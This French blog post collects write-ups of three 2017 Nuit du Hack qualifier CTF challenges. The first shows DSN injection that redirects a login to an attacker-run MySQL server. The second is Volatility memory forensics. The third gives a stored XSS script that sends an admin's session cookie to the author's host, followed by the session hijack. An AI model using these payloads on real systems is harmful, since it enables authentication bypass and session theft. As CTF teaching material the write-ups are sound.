Quals Nuit du Hack 2017 : les write-up de nos 3 challenges favoris

Temps de lecture estimé : 16 minute(s)

*Attention, ce contenu a été publié il y a 2 années. Il n'est peut-être plus d'actualité.*

Le samedi 1er avril se jouaient les épreuves de qualification (quals) pour la quinzième Nuit du Hack. Pour la 4e année consécutive, OVH soutient cette convention de sécurité informatique française. Nos équipes, en plus d’aider à l’organisation de l’événement, ont pris l’habitude de venir s’y mesurer aux meilleurs experts en cybersécurité français, européens et même mondiaux, dans le cadre de challenges toujours plus inventifs. Nous avons souhaité partager les write-up de nos 3 challenges favoris, parmi les 22 épreuves du CTF des qualifications. Cette année encore, le niveau était très haut. Félicitations aux vainqueurs et merci aux organisateurs !

Par Sébastien Mériot et Stéphane Lesimple.

WhyUNOKnock


ERPay is a new ERP management application. You can now steal money from your employees and add the money directly on your bank account !

Points: 250
Category: Web
Validations: 49


L’URL du challenge nous conduit à une page d’authentification comportant 3 champs : identifiant, mot de passe et groupe.

Quand nous postons le formulaire, nous remarquons qu’une requête POST est faite sur le script auth.php, lequel nous répond par un HTTP 302 redirect. En inspectant les données que notre navigateur envoie à l’aide de Firebug, nous remarquons également qu’un champ invisible est également transmis : go. En fait, ce champ est complètement inutile et ne servira en aucun cas à résoudre l’épreuve.

Étant donné que le JavaScript est quelque peu désagréable et nous interdit d’entrer tout ce que nous voulons dans les champs, j’ai choisi d’utiliser curl. Bien entendu, Burp, TamperData ou d’autres outils pouvaient également permettre de résoudre l’épreuve.

Je copie donc le POST du navigateur sous le format curl pour commencer.

$ curl  -i -XPOST "http://whyunoknock.quals.nuitduhack.com/auth.php" -d
"login=test&password=test&group=users&go="

Étant donné que nous sommes en présence d’un formulaire, testons la vulnérabilité des champs à des failles de type SQL Injection. Pour ce faire, on ajoute quelques apostrophes qui font généralement plutôt bien le travail en provoquant des erreurs immondes en cas de vulnérabilité.

$ curl  -XPOST "http://whyunoknock.quals.nuitduhack.com/auth.php" -d
"login='&password='&group'&go='"
PDOException : 1044

Une erreur ! Parfait, nous sommes sur la bonne voie.

L’exception PDO 1044 signifie « Access denied for user. »
En supprimant les apostrophes champ par champ, j’isole le champ qui est effectivement vulnérable : group.

On a donc le champ group qui génère l’erreur « Access denied for user« . C’est très intéressant car cette erreur survient si on essaie de se connecter à une base de données. Est-ce que cela signifierait que le champ group est une variable servant à générer le DSN (Data Source Name) ?

En effet, le constructeur de PDO n’accepte que des DSN et se présente sous la forme suivante :

new PDO("schema:host=;dbname=;...")

Par curiosité, regardons s’il nous est possible de déterminer quel est le SGBD utilisé. Étant donné que nous contrôlons le DSN, nous pouvons forcer le port à utiliser et donc parcourir les ports des SGBD les plus connus : MySQL (3306), PostgreSQL (5432)…

$ curl  -XPOST "http://whyunoknock.quals.nuitduhack.com/auth.php" -d "login=root&password=hello_world&group=admins;port=5432&go="
PDOException : 2002

$ curl  -XPOST "http://whyunoknock.quals.nuitduhack.com/auth.php" -d "login=root&password=hello_world&group=admins;port=3306&go="
PDOException : 1044

Ok, l’erreur 2002 signifie que la connexion ne peut pas être établie. Nous sommes donc très vraisemblablement en présence d’une base MySQL étant donné que l’erreur est restée identique en utilisant le port 3306.
A à ce stade, nous pouvons donc affirmer que le code vulnérable contenu dans auth.php est de la forme :

new PDO("mysql:host=;dbname=" . $group, $db_user, $db_pass);

Intéressant. Et maintenant?

Si nous arrivons à faire en sorte que le serveur utilise notre propre base de données pour nous authentifier, nous aurons un cookie valide qui aura été créé par le serveur et nous pourrons alors peut-être utiliser ce cookie pour naviguer dans cet ERP pas très bien codé.

Je teste en forçant l’hôte de la base de données à pointer sur un serveur que je contrôle. Pour m’assurer que la connexion s’effectue bien, j’écoute sur le port les connexions entrantes via un script Python maison. Mais j’aurai très bien pu utiliser netcat.

$ curl  -XPOST "http://whyunoknock.quals.nuitduhack.com/auth.php" -d "login=root&password=hello_world&group=admins;port=3306;host=<my-host>&go="
PDOException : 2002

$ tail conn.log
Connection addr:  ('163.172.102.12', 50478)

Ça marche !

Prochaine étape, récupérer les identifiants ! Je lance un conteneur MySQL dans un Docker et je capture le trafic à l’aide de tcpdump. Ainsi, je devrais être capable de voir comment PDO se connecte à notre instance. Je transfère le pcap et je l’ouvre avec Wireshark qui reconnaît nativement le protocole MySQL.

On met donc en évidence que le script php essaie de se connecter à la base admins avec l’identifiant erpay. Malheureusement, on voit aussi qu’il utilise le mysql_native_password qui n’est pas vulnérable (ou alors on ne me l’a pas dit), contrairement à sa version précédente. Ça risque d’être un peu compliqué de récupérer le mot de passe…

Idée de génie de mon collègue ! Utiliser l’option magique de MySQL skip-grant-tables. Cette option permet de récupérer son mot de passe root en cas d’oubli en autorisant n’importe quel utilisateur à se connecter avec n’importe quel mot de passe. Plutôt pratique dans notre cas !

Bon je vais quand même mettre quelques iptables aussi, car c’est un peu openbar tout ça…

# echo skip-grant-tables >> /etc/mysql/my.cnf
# /etc/init.d/mysqld restart

Maintenant que nous avons complètement ouvert notre MySQL, voyons ce que donne le curl !

$ curl  -XPOST "http://whyunoknock.quals.nuitduhack.com/auth.php" -d "login=root&password=hello_world&group=admins;port=3306;host=&go="
PDOException : 1049

Une nouvelle exception que nous ne connaissions pas : « Unknown Database.« . Oups ! J’ai oublié de créer la base de données admins.

mysql > CREATE DATABASE admins;
$ curl  -XPOST "http://whyunoknock.quals.nuitduhack.com/auth.php" -d "login=root&password=hello_world&group=admins;port=3306;host=&go="
PDOException : 42S02

On approche du but ! Une nouvelle erreur qui nous informe que « Base table of view not found« . Une nouvelle fois, on fait appel aux services de tcpdump pour extraire la requête SQL qui nous est envoyée. A partir de là, nous pourrons créer le schéma et insérer les données qui permettront de satisfaire à la requête.

mysql> CREATE TABLE logins ( id int, login varchar(32), password
varchar(512));
mysql> insert into logins values (1, 'root',
'35072c1ae546350e0bfa7ab11d49dc6f129e72ccd57ec7eb671225bbd197c8f1');
$ curl -i -XPOST "whyunoknock.quals.nuitduhack.com/auth.php" -d "login=root&password=hello_world&group=admins;port=3306;host=&go=true"
HTTP/1.1 200 OK
Date: Sat, 01 Apr 2017 17:52:15 GMT
Server: Apache/2.4.10 (Debian)
Vary: Accept-Encoding
Content-Length: 69
Content-Type: text/html; charset=UTF-8

NDH{5a8af1adbfc05b56e424052706022db0e51b971471e1e74a0abb899b7074e06c}

Et voilà !

 


Bender Bending Rodriguez

The new co-worker looks weird. He behaves like he is hiding something on his computer. We discreetly dumped the memory of his computer from SSH, in the hope to learn more. But we don’t know much what to do with it. Can you help us?

The system is an Ubuntu 16.04, x64.

Points: 75
Category: Forensics
Validations: 25


Le texte explicatif de l’épreuve nous met en situation : quelqu’un semble cacher quelque chose sur son PC d’entreprise, mais on ne sait pas vraiment quoi. Les administrateurs du parc ont pu faire un dump de la RAM discrètement via SSH, et nous demandent de passer le dump au peigne fin. Plutôt violent et/ou douteux comme méthode, mais jouons le jeu !
On pense immédiatement à Volatility, un framework d’outils open source permettant de faire du forensic à partir de dumps de RAM.
Pour pouvoir l’utiliser, en revanche, Volatility a besoin d’avoir des informations précises sur le système qui a été dumpé, pour pouvoir savoir où se trouvent les structures du kernel en RAM et donc savoir comment interpréter le dump. Ces informations sont spécifiques à chaque build du kernel (et pas juste à chaque version).
L’énoncé indique seulement que la machine est une Ubuntu en 64 bits. Ce n’est pas suffisant : il nous faut le kernel exact… en espérant qu’il s’agit bien d’un kernel Ubuntu Vanilla facilement récupérable sur Internet ! S’il a été compilé à la main, cela pourrait s’avérer beaucoup plus difficile.
Un petit coup d’œil au dump nous donne une information :
$ strings dump.img | grep BOOT_IMAGE=
BOOT_IMAGE=/boot/vmlinuz-4.4.0-57-generic root=UUID=de431cbb-73e1-4942-a466-780c37c6fa29 ro quiet splash
Il s’agit bien d’un kernel Ubuntu classique. Mais on a besoin d’être encore plus précis, en cherchant encore un peu à coup de grep, on tombe sur la chaîne complète d’information du kernel :
Linux version 4.4.0-57-generic (buildd@lgw01-54) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) ) #78-Ubuntu SMP Fri Dec 9 23:50:32 UTC 2016 (Ubuntu 4.4.0-57.78-generic 4.4.35)
Il s’agit donc de la 78e compilation (#78) du kernel 4.4.0-57-generic. Il n’y a plus qu’à trouver le .deb correspondant.
On a de la chance, il s’agit de la version courante du kernel sur la Ubuntu 16.04 LTS. Si ça n’avait pas été le cas, on aurait probablement pu retomber quand même sur le bon .deb sur un des miroirs pas forcément à jour, ou qui garde les anciens paquets. On installe donc une Ubuntu 16.04 dans une VM, et on la met à jour pour bénéficier de la bonne version du kernel.
Une fois que c’est fait, il s’agit de construire le profil de ce kernel, qui pourra être utilisé par Volatility. Le wiki de volatility l’explique plus en détails, mais il s’agit principalement de compiler pour le kernel cible un module kernel fourni par Volatility, avec les symboles de debug, puis de dumper les informations DWARF du module. Il faut donc aussi installer les headers du kernel cible, pour nous permettre de pouvoir compiler le module de Volatility. L’autre partie du profil correspond au System.map du kernel, créé à la compilation du kernel et fourni dans notre .deb de kernel Ubuntu. En résumé, donc :
$ apt-get install dwarfdump build-essential linux-headers-generic git
$ git clone https://github.com/volatilityfoundation/volatility.git
$ cd volatility/tools/linux
$ sudo make -C /lib/modules/4.4.0-57-generic/build CONFIG_DEBUG_INFO=y M=$PWD modules
$ dwarfdump -di ./module.o > module.dwarf
$ sudo zip Ubuntu1604-4.4.0-57.zip module.dwarf /boot/System.map-4.4.0-57-generic
Le zip « Ubuntu1604-4.4.0-57.zip » que nous venons de créer est donc le profil volatility correspondant à notre dump de RAM. Plaçons-le dans un répertoire « profiles » :
$ mkdir profiles
$ cp volatility/tools/linux/Ubuntu1604-4.4.0-57.zip profiles/
Reste maintenant à exploiter le dump avec volatility (nous avons au préalable récupéré la version déjà compilée de volatility pour Linux) :
$ ~/volatility_2.6_lin64_standalone --plugins=profiles/ --profile=LinuxUbuntu1604-4.4.0-57x64 -f dump.img --cache linux_pslist
Voilà la commande qui permet par exemple de récupérer la liste des processus qui étaient lancés au moment du dump. Le profil permet de volatility d’aller chercher cette information exactement au bon endroit dans le dump ! On peut de la même façon retrouver le .bash_history, le dmesg, la liste des fichiers ouverts… bref plein de choses très intéressantes pour du forensic. Mais revenons à l’épreuve. Certains process nous mettent la puce à l’oreille :
2658   1000   1000   /usr/lib/firefox/firefox
2757   1000   1000   /usr/lib/firefox/plugin-container /usr/lib/flashplugin-installer/libflashplayer.so -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appdir /usr/lib/firefox/browser 2658 true plugin
2778   1000   1000   /usr/bin/python /usr/bin/gnuradio-companion
4203   1000   1000   /usr/bin/python -u /home/bob/top_block.py
Le plugin flash est probablement quelque chose à regarder, mais l’utilisation de gnuradio-companion est plus douteuse encore : notre ami ferait-il de la radio amateur pendant ses heures de travail ? En utilisant le module « linux_lsof » (de la même façon que linux_pslist ci-dessus), on constate que l’un des deux process python a un descripteur de fichier d’ouvert sur :
0xffff88007b496900 python  4203    29 /tmp/test.wav
Très intéressant ! Reste donc à essayer de récupérer ce fichier. Comme un filehandle est ouvert dessus, il est fort probable qu’il soit aussi en RAM.
Regardons si Volatility peut nous retrouver l’inode de ce fichier :
$ ~/volatility_2.6_lin64_standalone --plugins=profiles/ --profile=LinuxUbuntu1604-4.4.0-57x64 -f dump.img --cache linux_find_file -F /tmp/test.wav
Volatility Foundation Volatility Framework 2.6
Inode Number                  Inode File Path
---------------- ------------------ ---------
1441801          0xffff88007c65de38 /tmp/test.wav
Puis on demande à volatility de nous l’extraire du dump :
$ ~/volatility_2.6_lin64_standalone --plugins=profiles/ --profile=LinuxUbuntu1604-4.4.0-57x64 -f dump.img --cache linux_find_file -i 0xffff88007c65de38 -O test.wav
On se retrouve avec un fichier qui a l’air valide :
$ ls -l test.wav 
-rw-r--r-- 1 speed speed 2060288 Apr  1 17:37 test.wav
 
$ file test.wav 
test.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 24000 Hz
On essaie de l’ouvrir avec VLC… ça marche ! Mais la qualité est atroce, il faut mettre son casque, jouer un peu avec Audacity, et écouter plusieurs fois. Il s’agit d’un message qui passe en boucle.
"[...]ach1Xay8G. Well done, the flag is: xaach1Xay8G. Well done, the flag is: xaach1Xay8G. Well done, [...]"
Il s’agit bien d’un « cee » au milieu du flag, et non pas d’un « tee », ce que j’ai compris les 50 premières écoutes… mais qui ne validait pas !
Morale : si vous faites de la radio amateur, s’il vous plaît, achetez du matériel de qualité, ça évitera à ceux qui vous espionnent d’avoir mal au crâne 😉

Purple Posse Market

Description
You work for the government in the forensic department, you are investigating on an illegal website which sells illegal drugs and weapons, you need to find a way to get the IBAN of the administrator of the website.

Points: 200
Category: Web
Validations: 147


Ce site très charmant nous propose d’acheter des produits quelque peu illicites.
Dans un premier temps, nous essayons d’en commander en injectant différents payloads dans les champs pour identifier d’éventuelles vecteurs d’attaque mais… cela ne donne rien.
Sur la page de contact, nous voyons qu’il est possible de laisser un mail et que l’administrateur est actuellement en ligne. Intéressant ! Par curiosité, nous essayons de voir s’il n’y aura pas une section d’administration. Nous trouvons effectivement l’URL suivante:
http://purplepossemarket.quals.nuitduhack.com/admin
Une page de login ! Serait-elle vulnérable ? Après avoir tenté d’injecter les mêmes payloads que précédemment, nous nous rendons vite à l’évidence : cette page ne semble pas vulnérable et il va falloir trouver une autre façon de nous identifier.
Remettons les éléments que nous avons ensemble :
– l’administrateur est actuellement en ligne ;
– on peut envoyer un mail à l’administrateur ;
– il y a une interface d’administration.
L’indication que l’administrateur est en ligne veut sans doute dire qu’il consulte les messages via l’interface d’administration. Et si on tentait de lui voler son cookie de session ?
Tentons une petite CSRF à l’aide d’une simple balise img.
<img src="http://<my-host>/ndh2k17"></img>

Il ne reste plus qu’à patienter… et au bout de 5 interminables secondes, mon access.log me dit enfin que je suis sur la bonne voie !
163.172.102.12 - - [01/Apr/2017:16:32:18 +0200] "GET /ndh2k17 HTTP/1.1" 404 504 "http://localhost:3001/admin/messages/2394/" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.11"
Ajoutons un vrai payload à notre message afin de voler le cookie de session de l’administrateur.
<script>
new Image().src="http://<my-host>/ndh2k17?cookie="+encodeURI(document.cookie);
</script>

Le verdict tombe quelques secondes plus tard:

163.172.102.12 - - [01/Apr/2017:16:49:03 +0200] "GET /ndh2k17?cookie=connect.sid=s%253AMyFQwgTYgWGRJROBMk-PgEbPwRUzKJ2A.Hty8R0KTGxOwkJjaPRvcOYeGWpDg7t8NZH6Eje0o6BI HTTP/1.1" 200 337 "http://localhost:3001/admin/messages/2459/" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"

Nous y sommes ! J’injecte ce cookie dans mon navigateur et je m’empresse d’aller sur la page page d’administration trouvée précédemment.

Personal informations :
Full name: Robert leanDoer
Bitcoin address: 15RTaerruoxS64hA8WitQEzSv3MZe4p2AGL
Address: 17 Rue de la colline, 59100 Roubaix
Funds transfer informations :
IBAN : IBAN FR14 2004 1010 0505 0001 3M02 606
BIC : CRLYFRPP
BANK CODE : 2004101005

Rendez-vous à Disneyland Paris les 24 et 25 juin 2017 pour la Nuit du Hack 2017, dont OVH est sponsor Platinum. Plus d’informations ici :  nuitduhack.com/fr

Security Analyst